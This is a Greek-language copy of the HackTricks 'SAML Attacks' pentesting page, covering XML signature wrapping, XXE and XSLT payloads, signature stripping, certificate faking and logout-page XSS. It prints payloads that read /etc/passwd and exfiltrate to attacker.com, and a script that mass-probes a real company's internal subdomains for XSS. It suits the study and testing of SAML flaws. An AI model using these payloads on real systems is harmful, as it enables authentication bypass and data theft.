SAML Attacks

Επιθέσεις SAML

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Βασικές Πληροφορίες

pageSAML Basics

Εργαλείο

SAMLExtractor: Ένα εργαλείο που μπορεί να πάρει ένα URL ή μια λίστα από URL και να εκτυπώσει το URL κατανάλωσης SAML.

Κύκλος XML

Στο XML, η υπογεγραμμένη μέρος του XML αποθηκεύεται στη μνήμη, στη συνέχεια γίνεται κάποια κωδικοποίηση/αποκωδικοποίηση και ελέγχεται η υπογραφή. Ιδανικά, αυτή η κωδικοποίηση/αποκωδικοποίηση δεν θα έπρεπε να αλλάζει τα δεδομένα, αλλά βάσει αυτού του σεναρίου, τα δεδομένα που ελέγχονται και τα αρχικά δεδομένα μπορεί να μην είναι τα ίδια.

Για παράδειγμα, ελέγξτε τον παρακάτω κώδικα:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Η εκτέλεση του προγράμματος εναντίον του REXML 3.2.4 ή προηγούμενων εκδόσεων θα οδηγούσε στην ακόλουθη έξοδο:

First child in original doc: Y
First child after round-trip: Z

Έτσι είδε το αρχικό XML έγγραφο το REXML από το πρόγραμμα παραπάνω:

Και έτσι το είδε μετά από μια διαδικασία ανάλυσης και σειριοποίησης:

Για περισσότερες πληροφορίες σχετικά με την ευπάθεια και πώς να την καταχραστείτε:

Επιθέσεις Περιτυλιγμένης Υπογραφής XML

Στις επιθέσεις Περιτυλιγμένης Υπογραφής XML (XSW), οι επιτιθέμενοι εκμεταλλεύονται μια ευπάθεια που προκύπτει όταν τα XML έγγραφα επεξεργάζονται μέσω δύο διακριτών φάσεων: έλεγχος υπογραφής και εκτέλεση λειτουργίας. Αυτές οι επιθέσεις περιλαμβάνουν την τροποποίηση της δομής του XML έγγραφου. Συγκεκριμένα, ο επιτιθέμενος εισάγει πλαστά στοιχεία που δεν αμφισβητούν την εγκυρότητα της υπογραφής XML. Αυτή η παραπλάνηση στοχεύει στη δημιουργία μιας αντίθεσης μεταξύ των στοιχείων που αναλύονται από τη λογική εφαρμογής και αυτών που ελέγχονται από τη μονάδα επαλήθευσης υπογραφής. Ως αποτέλεσμα, ενώ η υπογραφή XML παραμένει τεχνικά έγκυρη και περνά τον έλεγχο επαλήθευσης, η λογική εφαρμογής επεξεργάζεται τα πλαστά στοιχεία. Ως εκ τούτου, ο επιτιθέμενος παρακάμπτει αποτελεσματικά την προστασία ακεραιότητας και την αυθεντικοποίηση προέλευσης της υπογραφής XML, επιτρέποντας την εισαγωγή αυθαίρετου περιεχομένου χωρίς ανίχνευση.

Οι παρακάτω επιθέσεις βασίζονται στο αυτό το blog post και αυτό το άρθρο. Ελέγξτε αυτά για περισσότερες λεπτομέρειες.

XSW #1

  • Στρατηγική: Προστίθεται ένα νέο ριζικό στοιχείο που περιέχει την υπογραφή.

  • Συνέπεια: Ο επαληθευτής μπορεί να μπερδευτεί μεταξύ του νόμιμου "Response -> Assertion -> Subject" και του κακόβουλου "καινούργιου Response -> Assertion -> Subject", οδηγώντας σε προβλήματα ακεραιότητας δεδομένων.

XSW #2

  • Διαφορά από το XSW #1: Χρησιμοποιεί μια αποσυνδεδεμένη υπογραφή αντί για μια περιτυλιγμένη υπογραφή.

  • Συνέπεια: Η "κακή" δομή, παρόμοια με το XSW #1, στοχεύει να παραπλανήσει την επιχειρηματική λογική μετά τον έλεγχο ακεραιότητας.

XSW #3

  • Στρατηγική: Δημιουργείται μια κακή Assertion στον ίδιο ιεραρχικό επίπεδο με την αρχική assertion.

  • Συνέπεια: Σκοπός είναι να μπερδέψει την επιχειρηματική λογική ώστε να χρησιμοποιήσει τα κακόβουλα δεδομένα.

XSW #4

  • Διαφορά από το XSW #3: Η αρχική Assertion γίνεται παιδί της αντιγραμμένης (κακής) Assertion.

  • Συνέπεια: Παρόμοια με το XSW #3, αλλά τροποποιεί πιο επιθετικά τη δομή του XML.

XSW #5

  • Μοναδική πτυχή: Ούτε η Υπογραφή ούτε η αρχική Assertion ακολουθούν τις προτεινόμενες διαμορφώσεις (περιτυλιγμένη/αποσυνδεδεμένη/περιτυλιγμένη).

  • Συνέπεια: Η αντιγραμμένη Assertion περιβάλλει την Υπογραφή, τροποποιώντας την αναμενόμενη δομή του έγγραφου.

XSW #6

  • Στρατηγική: Παρόμοια τοποθέτηση με το XSW #4 και #5, αλλά με μια παραλλαγή.

  • Συνέπεια: Η αντιγραμμένη Assertion περιβάλλει την Υπογραφή,

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Εργαλεία

Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp SAML Raider για να δημιουργήσετε το POC από ένα αίτημα SAML για να ελέγξετε τυχόν ευπάθειες XXE και ευπάθειες SAML.

Ελέγξτε επίσης αυτήν την ομιλία: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT μέσω SAML

Για περισσότερες πληροφορίες σχετικά με το XSLT, μεταβείτε στο:

pageXSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Οι Μετατροπές Επεκτάσιμης Γλώσσας Φύλλων Στυλ (XSLT) μπορούν να χρησιμοποιηθούν για τη μετατροπή εγγράφων XML σε διάφορες μορφές όπως HTML, JSON ή PDF. Είναι σημαντικό να σημειωθεί ότι οι μετατροπές XSLT πραγματοποιούνται πριν από τον έλεγχο της ψηφιακής υπογραφής. Αυτό σημαίνει ότι μια επίθεση μπορεί να είναι επιτυχής ακόμα και χωρίς μια έγκυρη υπογραφή. Μια αυτο-υπογεγραμμένη ή μη έγκυρη υπογραφή είναι αρκετή για να συνεχίσει η επίθεση.

Εδώ μπορείτε να βρείτε ένα POC για να ελέγξετε αυτού του είδους τις ευπάθειες, στη σελίδα hacktricks που αναφέρεται στην αρχή αυτής της ενότητας μπορείτε να βρείτε φορτία.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Εργαλείο

Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp SAML Raider για να δημιουργήσετε το POC από ένα αίτημα SAML για να ελέγξετε τυχόν ευπάθειες XSLT.

Ελέγξτε επίσης αυτήν την ομιλία: https://www.youtube.com/watch?v=WHn-6xHL7mI

Αποκλεισμός Υπογραφής XML

Ο Αποκλεισμός Υπογραφής XML παρατηρεί τη συμπεριφορά των υλοποιήσεων SAML όταν το στοιχείο Υπογραφής δεν είναι παρόν. Εάν αυτό το στοιχείο λείπει, η επικύρωση της υπογραφής μπορεί να μην πραγματοποιηθεί, καθιστώντας το ευάλωτο. Μπορείτε να δοκιμάσετε αυτό αλλάζοντας το περιεχόμενο που συνήθως επικυρώνεται από την υπογραφή.

Εργαλείο

Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp SAML Raider. Παρεμβάλλετε την απάντηση SAML και κάντε κλικ στο Αφαίρεση Υπογραφών. Με την αφαίρεση των υπογραφών, αφήστε το αίτημα να συνεχίσει προς τον στόχο. Εάν η υπογραφή δεν απαιτείται από την Υπηρεσία

Πλαστογράφηση Πιστοποιητικού

Η πλαστογράφηση πιστοποιητικού είναι μια τεχνική για να ελέγξετε αν ένας Πάροχος Υπηρεσιών (SP) επαληθεύει σωστά ότι ένα μήνυμα SAML έχει υπογραφεί από έναν αξιόπιστο Πάροχο Ταυτότητας (IdP). Περιλαμβάνει τη χρήση ενός *αυτο-υπογεγραμμένου πιστοποιητικού για να υπογράψει την απάντηση ή την κατάθεση SAML, πράγμα που βοηθά στην αξιολόγηση της διαδικασίας επαλήθευσης εμπιστοσύνης μεταξύ του SP και του IdP.

Πώς να πραγματοποιήσετε πλαστογράφηση πιστοποιητικού

Οι παρακάτω βήματα περιγράφουν τη διαδικασία χρησιμοποιώντας την επέκταση Burp SAML Raider:

  1. Παρεμβάλλετε την απάντηση SAML.

  2. Εάν η απάντηση περιέχει μια υπογραφή, στείλτε το πιστοποιητικό στο SAML Raider Certs χρησιμοποιώντας το κουμπί Αποστολή Πιστοποιητικού στα SAML Raider Certs.

  3. Στην καρτέλα SAML Raider Certificates, επιλέξτε το εισαγόμενο πιστοποιητικό και κάντε κλικ στο Αποθήκευση και Αυτο-Υπογραφή για να δημιουργήσετε ένα αυτο-υπογεγραμμένο αντίγραφο του αρχικού πιστοποιητικού.

  4. Επιστρέψτε στο παρεμβαλλόμενο αίτημα στο Proxy του Burp. Επιλέξτε το νέο αυτο-υπογεγραμμένο πιστοποιητικό από την αναπτυσσόμενη λίστα XML Signature.

  5. Αφαιρέστε οποιεσδήποτε υπάρχουσες υπογραφές με το κουμπί Αφαίρεση Υπογραφών.

  6. Υπογράψτε το μήνυμα ή την κατάθεση με το νέο πιστοποιητικό χρησιμοποιώντας το κουμπί (Επαν-)Υπογραφή Μηνύματος ή (Επαν-)Υπογραφή Κατάθεσης, ανάλογα.

  7. Προωθήστε το υπογεγραμμένο μήνυμα. Η επιτυχημένη πιστοποίηση υποδεικνύει ότι ο SP αποδέχεται μηνύματα που έχουν υπογραφεί από το αυτο-υπογεγραμμένο πιστοποιητικό σας, αποκαλύπτοντας πιθανές ευπάθειες στη διαδικασία επαλήθευσης των μηνυμάτων SAML.

Σύγχυση Παραλήπτη Διακριτικού / Σύγχυση Στόχου Πάροχου Υπηρεσιών

Η Σύγχυση Παραλήπτη Διακριτικού και η Σύγχυση Στόχου Πάροχου Υπηρεσιών αφορούν τον έλεγχο εάν ο Πάροχος Υπηρεσιών επαληθεύει σωστά τον προορισμένο παραλήπτη μιας απάντησης. Ουσιαστικά, ένας Πάροχος Υπηρεσιών θα πρέπει να απορρίπτει μια απάντηση πιστοποίησης εάν αυτή ήταν προορισμένη για έναν διαφορετικό πάροχο. Το κρίσιμο στοιχείο εδώ είναι το πεδίο Παραλήπτης, που βρίσκεται μέσα στο στοιχείο SubjectConfirmationData μιας απάντησης SAML. Αυτό το πεδίο καθορίζει μια διεύθυνση URL που υποδεικνύει πού πρέπει να αποσταλεί η Δήλωση. Εάν ο πραγματικός παραλήπτης δεν ταιριάζει με τον προοριζόμενο Πάροχ

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS στη λειτουργία αποσύνδεσης

Η αρχική έρευνα μπορεί να βρεθεί στον ακόλουθο σύνδεσμο: αυτός ο σύνδεσμος.

Κατά τη διαδικασία της αναζήτησης καταλόγου με βία, ανακαλύφθηκε μια σελίδα αποσύνδεσης στην παρακάτω διεύθυνση:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Μετά την πρόσβαση σε αυτόν τον σύνδεσμο, παρατηρήθηκε μια ανακατεύθυνση προς:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Αυτό αποκάλυψε ότι ο παράμετρος base δέχεται ένα URL. Λαμβάνοντας υπόψη αυτό, προέκυψε η ιδέα να αντικατασταθεί το URL με javascript:alert(123); σε μια προσπάθεια να προκαλείται μια επίθεση XSS (Cross-Site Scripting).

Μαζική Εκμετάλλευση

Από αυτήν την έρευνα:

Το εργαλείο SAMLExtractor χρησιμοποιήθηκε για να αναλυθούν υποτομείς του uberinternal.com για τον εντοπισμό τον τομέων που χρησιμοποιούν την ίδια βιβλιοθήκη. Στη συνέχεια, αναπτύχθηκε ένα σενάριο για να επιτεθεί στη σελίδα oidauth/prompt. Αυτό το σενάριο ελέγχει για την ύπαρξη ευπάθειας XSS (Cross-Site Scripting) εισάγοντας δεδομένα και ελέγχοντας αν αντανακλώνται στην έξοδο. Σε περιπτώσεις όπου τα εισαγόμενα δεδομένα αντανακλώνται, το σενάριο επισημαίνει τη σελίδα ως ευπάθη.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Αναφορές

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated